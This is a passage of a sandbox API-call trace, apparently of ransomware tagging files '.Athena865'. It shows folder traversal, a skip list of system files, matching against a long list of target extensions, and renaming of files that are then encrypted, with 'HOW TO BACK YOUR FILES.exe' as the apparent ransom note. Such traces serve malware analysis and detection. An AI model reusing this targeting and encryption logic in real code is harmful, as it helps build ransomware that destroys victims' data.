lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0103.674] lstrlenW (lpString="ndf") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0103.674] lstrlenW (lpString="nnt") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0103.674] lstrlenW (lpString="nrmlib") returned 6 [0103.674] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0103.674] lstrlenW (lpString="ns2") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0103.674] lstrlenW (lpString="ns3") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0103.674] lstrlenW (lpString="ns4") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0103.674] lstrlenW (lpString="nsf") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0103.674] lstrlenW (lpString="nv") returned 2 [0103.674] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0103.674] lstrlenW (lpString="nv2") returned 3 [0103.674] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0103.675] lstrlenW (lpString="nwdb") returned 4 [0103.675] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0103.675] lstrlenW (lpString="nyf") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0103.675] lstrlenW (lpString="odb") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.675] lstrlenW (lpString="odb") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.675] lstrlenW (lpString="oqy") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0103.675] lstrlenW (lpString="ora") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0103.675] lstrlenW (lpString="orx") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0103.675] lstrlenW (lpString="owc") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0103.675] lstrlenW (lpString="p96") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0103.675] lstrlenW (lpString="p97") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0103.675] lstrlenW (lpString="pan") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0103.675] lstrlenW (lpString="pdb") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0103.675] lstrlenW (lpString="pdm") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0103.675] lstrlenW (lpString="pnz") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0103.675] lstrlenW (lpString="qry") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0103.675] lstrlenW (lpString="qvd") returned 3 [0103.675] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0103.676] lstrlenW (lpString="rbf") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0103.676] lstrlenW (lpString="rctd") returned 4 [0103.676] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0103.676] lstrlenW (lpString="rod") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0103.676] lstrlenW (lpString="rodx") returned 4 [0103.676] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0103.676] lstrlenW (lpString="rpd") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0103.676] lstrlenW (lpString="rsd") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0103.676] lstrlenW (lpString="sas7bdat") returned 8 [0103.676] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0103.676] lstrlenW (lpString="sbf") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0103.676] lstrlenW (lpString="scx") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0103.676] lstrlenW (lpString="sdb") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0103.676] lstrlenW (lpString="sdc") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0103.676] lstrlenW (lpString="sdf") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0103.676] lstrlenW (lpString="sis") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0103.676] lstrlenW (lpString="spq") returned 3 [0103.676] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0103.676] lstrlenW (lpString="te") returned 2 [0103.676] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0103.676] lstrlenW (lpString="teacher") returned 7 [0103.676] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0103.677] lstrlenW (lpString="tmd") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0103.677] lstrlenW (lpString="tps") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0103.677] lstrlenW (lpString="trc") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.677] lstrlenW (lpString="trc") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.677] lstrlenW (lpString="trm") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0103.677] lstrlenW (lpString="udb") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0103.677] lstrlenW (lpString="udl") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0103.677] lstrlenW (lpString="usr") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0103.677] lstrlenW (lpString="v12") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0103.677] lstrlenW (lpString="vis") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0103.677] lstrlenW (lpString="vpd") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0103.677] lstrlenW (lpString="vvv") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0103.677] lstrlenW (lpString="wdb") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0103.677] lstrlenW (lpString="wmdb") returned 4 [0103.677] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0103.677] lstrlenW (lpString="wrk") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0103.677] lstrlenW (lpString="xdb") returned 3 [0103.677] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0103.677] lstrlenW (lpString="xld") returned 3 [0103.678] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0103.678] lstrlenW (lpString="xmlff") returned 5 [0103.678] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0103.678] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\desktop.ini.Athena865") returned 75 [0103.678] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0103.678] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.679] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=476) returned 1 [0103.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0103.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0103.679] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.680] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.680] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.680] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e0, lpName=0x0) returned 0x154 [0103.682] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e0) returned 0x100000 [0103.683] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.683] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.683] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0103.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0103.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c9e0 [0103.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9e0 | out: hHeap=0x4f0000) returned 1 [0103.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547d40 [0103.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.684] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.684] CloseHandle (hObject=0x154) returned 1 [0103.684] CloseHandle (hObject=0x17c) returned 1 [0103.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0103.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0103.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.685] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d52d00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7d52d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.685] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.685] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x587, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer (64-bit).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".") returned 1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="..") returned 1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="windows") returned -1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="bootmgr") returned 1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="temp") returned -1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="pagefile.sys") returned -1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="boot") returned 1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="ids.txt") returned 1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="ntuser.dat") returned -1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="perflogs") returned -1 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="MSBuild") returned -1 [0103.685] lstrlenW (lpString="Internet Explorer (64-bit).lnk") returned 30 [0103.685] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Internet Explorer (64-bit).lnk" | out: lpString1="Internet Explorer (64-bit).lnk") returned="Internet Explorer (64-bit).lnk" [0103.685] lstrlenW (lpString="Internet Explorer (64-bit).lnk") returned 30 [0103.685] lstrlenW (lpString="Athena865") returned 9 [0103.685] lstrcmpiW (lpString1="-bit).lnk", lpString2="Athena865") returned 1 [0103.685] lstrlenW (lpString=".dll") returned 4 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".dll") returned 1 [0103.685] lstrlenW (lpString=".lnk") returned 4 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".lnk") returned 1 [0103.685] lstrlenW (lpString=".ini") returned 4 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".ini") returned 1 [0103.685] lstrlenW (lpString=".sys") returned 4 [0103.685] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".sys") returned 1 [0103.685] lstrlenW (lpString="Internet Explorer (64-bit).lnk") returned 30 [0103.685] lstrlenW (lpString="bak") returned 3 [0103.685] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0103.686] lstrlenW (lpString="ba_") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0103.686] lstrlenW (lpString="dbb") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0103.686] lstrlenW (lpString="vmdk") returned 4 [0103.686] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0103.686] lstrlenW (lpString="rar") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0103.686] lstrlenW (lpString="zip") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0103.686] lstrlenW (lpString="tgz") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0103.686] lstrlenW (lpString="vbox") returned 4 [0103.686] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0103.686] lstrlenW (lpString="vdi") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0103.686] lstrlenW (lpString="vhd") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0103.686] lstrlenW (lpString="vhdx") returned 4 [0103.686] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0103.686] lstrlenW (lpString="avhd") returned 4 [0103.686] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0103.686] lstrlenW (lpString="db") returned 2 [0103.686] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0103.686] lstrlenW (lpString="db2") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0103.686] lstrlenW (lpString="db3") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0103.686] lstrlenW (lpString="dbf") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0103.686] lstrlenW (lpString="mdf") returned 3 [0103.686] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0103.687] lstrlenW (lpString="mdb") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0103.687] lstrlenW (lpString="sql") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0103.687] lstrlenW (lpString="sqlite") returned 6 [0103.687] lstrcmpiW (lpString1="t).lnk", lpString2="sqlite") returned 1 [0103.687] lstrlenW (lpString="sqlite3") returned 7 [0103.687] lstrcmpiW (lpString1="it).lnk", lpString2="sqlite3") returned -1 [0103.687] lstrlenW (lpString="sqlitedb") returned 8 [0103.687] lstrcmpiW (lpString1="bit).lnk", lpString2="sqlitedb") returned -1 [0103.687] lstrlenW (lpString="xml") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0103.687] lstrlenW (lpString="$er") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0103.687] lstrlenW (lpString="4dd") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0103.687] lstrlenW (lpString="4dl") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0103.687] lstrlenW (lpString="^^^") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0103.687] lstrlenW (lpString="abs") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0103.687] lstrlenW (lpString="abx") returned 3 [0103.687] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0103.687] lstrlenW (lpString="accdb") returned 5 [0103.687] lstrcmpiW (lpString1=").lnk", lpString2="accdb") returned -1 [0103.687] lstrlenW (lpString="accdc") returned 5 [0103.687] lstrcmpiW (lpString1=").lnk", lpString2="accdc") returned -1 [0103.687] lstrlenW (lpString="accde") returned 5 [0103.687] lstrcmpiW (lpString1=").lnk", lpString2="accde") returned -1 [0103.687] lstrlenW (lpString="accdr") returned 5 [0103.688] lstrcmpiW (lpString1=").lnk", lpString2="accdr") returned -1 [0103.688] lstrlenW (lpString="accdt") returned 5 [0103.688] lstrcmpiW (lpString1=").lnk", lpString2="accdt") returned -1 [0103.688] lstrlenW (lpString="accdw") returned 5 [0103.688] lstrcmpiW (lpString1=").lnk", lpString2="accdw") returned -1 [0103.688] lstrlenW (lpString="accft") returned 5 [0103.688] lstrcmpiW (lpString1=").lnk", lpString2="accft") returned -1 [0103.688] lstrlenW (lpString="adb") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0103.688] lstrlenW (lpString="adb") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0103.688] lstrlenW (lpString="ade") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0103.688] lstrlenW (lpString="adf") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0103.688] lstrlenW (lpString="adn") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0103.688] lstrlenW (lpString="adp") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0103.688] lstrlenW (lpString="alf") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0103.688] lstrlenW (lpString="ask") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0103.688] lstrlenW (lpString="btr") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0103.688] lstrlenW (lpString="cat") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0103.688] lstrlenW (lpString="cdb") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0103.688] lstrlenW (lpString="ckp") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0103.688] lstrlenW (lpString="cma") returned 3 [0103.688] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0103.689] lstrlenW (lpString="cpd") returned 3 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0103.689] lstrlenW (lpString="dacpac") returned 6 [0103.689] lstrcmpiW (lpString1="t).lnk", lpString2="dacpac") returned 1 [0103.689] lstrlenW (lpString="dad") returned 3 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0103.689] lstrlenW (lpString="dadiagrams") returned 10 [0103.689] lstrcmpiW (lpString1="4-bit).lnk", lpString2="dadiagrams") returned -1 [0103.689] lstrlenW (lpString="daschema") returned 8 [0103.689] lstrcmpiW (lpString1="bit).lnk", lpString2="daschema") returned -1 [0103.689] lstrlenW (lpString="db-journal") returned 10 [0103.689] lstrcmpiW (lpString1="4-bit).lnk", lpString2="db-journal") returned -1 [0103.689] lstrlenW (lpString="db-shm") returned 6 [0103.689] lstrcmpiW (lpString1="t).lnk", lpString2="db-shm") returned 1 [0103.689] lstrlenW (lpString="db-wal") returned 6 [0103.689] lstrcmpiW (lpString1="t).lnk", lpString2="db-wal") returned 1 [0103.689] lstrlenW (lpString="dbc") returned 3 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0103.689] lstrlenW (lpString="dbs") returned 3 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0103.689] lstrlenW (lpString="dbt") returned 3 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0103.689] lstrlenW (lpString="dbv") returned 3 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0103.689] lstrlenW (lpString="dbx") returned 3 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0103.689] lstrlenW (lpString="dcb") returned 3 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0103.689] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0103.690] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.Athena865") returned 94 [0103.690] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\internet explorer (64-bit).lnk"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.Athena865" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\internet explorer (64-bit).lnk.athena865"), dwFlags=0x1) returned 1 [0103.691] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk.Athena865" (normalized: "c:\\documents and settings\\default\\start menu\\programs\\internet explorer (64-bit).lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.691] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1415) returned 1 [0103.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0103.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0103.692] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.692] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.692] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.692] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x890, lpName=0x0) returned 0x154 [0103.694] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x890) returned 0x100000 [0103.697] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.698] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.698] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0103.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0103.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c9e0 [0103.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9e0 | out: hHeap=0x4f0000) returned 1 [0103.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547d40 [0103.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.699] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.699] CloseHandle (hObject=0x154) returned 1 [0103.699] CloseHandle (hObject=0x17c) returned 1 [0103.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0103.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0103.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.699] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6392a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".") returned 1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="..") returned 1 [0103.699] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="windows") returned -1 [0103.699] lstrcmpiW 